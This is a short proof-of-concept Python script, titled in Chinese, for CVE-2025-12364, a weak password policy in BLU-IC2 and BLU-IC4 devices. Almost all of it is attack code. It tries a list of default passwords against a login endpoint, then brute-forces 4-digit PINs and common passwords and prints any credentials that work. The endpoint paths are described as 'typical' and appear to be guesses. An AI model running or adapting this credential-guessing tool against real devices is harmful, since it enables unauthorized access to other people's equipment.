CVE-2025-12364 BLU-IC2/IC4弱密码策略漏洞

# CVE-2025-12364 PoC - BLU-IC2/IC4 Weak Password Policy # Target: BLU-IC2 and BLU-IC4 devices # This PoC demonstrates weak password authentication bypass import requests import sys TARGET_HOST = "http://target-device-ip" COMMON_WEAK_PASSWORDS = [ "admin", "password", "123456", "root", "default", "1234", "pass", "blu-ic2", "blu-ic4", "user", "administrator" ] def test_weak_password(target, username="admin"): """ Test weak password authentication on BLU-IC2/IC4 """ for password in COMMON_WEAK_PASSWORDS: try: # Typical authentication endpoint login_url = f"{target}/login" data = { "username": username, "password": password } response = requests.post(login_url, data=data, timeout=10) # Check for successful login indicators if response.status_code == 200 and ( "session" in response.text.lower() or "token" in response.text.lower() or response.headers.get("Set-Cookie") ): print(f"[+] VULNERABLE: Weak password found!") print(f" Username: {username}") print(f" Password: {password}") return True except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") print("[-] No weak passwords found") return False def brute_force_login(target, username="admin"): """ Brute force attack on authentication endpoint """ print(f"[*] Starting brute force attack on {target}") # Additional password patterns passwords = [f"{i}" for i in range(1000, 9999)] # 4-digit PINs passwords += ["pass123", "pass1234", "admin123", "root123"] for password in passwords[:100]: # Limit attempts try: login_url = f"{target}/api/auth/login" response = requests.post( login_url, json={"username": username, "password": password}, timeout=5 ) if response.status_code == 200: print(f"[+] Found valid credentials: {username}:{password}") return True except: continue return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] print(f"[*] CVE-2025-12364 PoC - Testing {TARGET_HOST}") print("[*] Target: BLU-IC2/IC4 Weak Password Policy\n") result = test_weak_password(TARGET_HOST) if not result: print("[*] Trying brute force attack...") brute_force_login(TARGET_HOST)